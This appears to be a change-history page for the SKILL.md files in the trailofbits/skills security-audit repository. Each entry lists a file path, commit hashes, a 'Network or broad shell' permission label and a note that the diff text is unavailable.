#183 by GitHub stars

trailofbits/skills

Trail of Bits skills for security research, vulnerability detection, and audit workflows

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

plugins/agentic-actions-auditor/skills/agentic-actions-auditor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/audit-context-building/skills/audit-context-building/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/cairo-vulnerability-scanner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/code-maturity-assessor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/guidelines-advisor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/secure-workflow-guide/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/solana-vulnerability-scanner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/substrate-vulnerability-scanner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/token-integration-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/building-secure-contracts/skills/ton-vulnerability-scanner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/burpsuite-project-parser/skills/burpsuite-project-parser/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/c-review/skills/c-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/chrome-mcp-troubleshooting/skills/chrome-mcp-troubleshooting/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/code-improver/skills/code-improver/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/code-improver/skills/pr-improver/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/code-improver/skills/skill-improver/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/code-improver/tests/fixtures/pr-review-toolkit/skills/review-pr/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/code-improver/tests/fixtures/review-panel/skills/panel-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/constant-time-analysis/skills/constant-time-analysis/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/culture-index/skills/interpreting-culture-index/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/cvss-scoring/skills/cvss-scoring/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → e4dd0bb5b155

No earlier version was observed for comparison.

Compare on GitHub

plugins/devcontainer-setup/skills/devcontainer-setup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/differential-review/skills/differential-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/dimensional-analysis/skills/dimensional-analysis/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/dwarf-expert/skills/dwarf-expert/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/entry-point-analyzer/skills/entry-point-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/firebase-apk-scanner/skills/firebase-apk-scanner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/fp-check/skills/fp-check/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/gh-cli/skills/gh-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/github-triage/skills/github-triage/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/goal-prompt/skills/goal-prompt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/let-fate-decide/skills/let-fate-decide/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/modern-cpp/skills/modern-cpp/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/modern-python/skills/modern-python/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/mutation-testing/skills/mutation-testing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/open-sourcing/skills/open-sourcing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/patching-bugs/skills/implement-patch/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/patching-bugs/skills/patching-bugs/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/patching-bugs/skills/prove-patch/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/patching-bugs/skills/reproduce-bug/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/patching-bugs/skills/validate-bug/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/post-patch-validation/skills/post-patch-validation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/property-based-testing/skills/property-based-testing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/regression-hunt/skills/adjudicate-regression/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/regression-hunt/skills/hunt-regressions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/regression-hunt/skills/prepare-regression/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/regression-hunt/skills/regression-hunt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/regression-hunt/skills/replay-regression/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/regression-hunt/skills/report-regressions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/regression-hunt/skills/reproduce-regression/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/review-walkthrough/skills/review-walkthrough/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/rust-review/skills/rust-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/second-opinion/skills/second-opinion/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/semgrep-rule-creator/skills/semgrep-rule-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/sharp-edges/skills/sharp-edges/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/spec-to-code-compliance/skills/spec-to-code-compliance/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/static-analysis/skills/codeql/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/static-analysis/skills/sarif-parsing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/static-analysis/skills/semgrep/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/address-sanitizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/aflpp/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/atheris/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/cargo-fuzz/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/constant-time-testing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/coverage-analysis/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

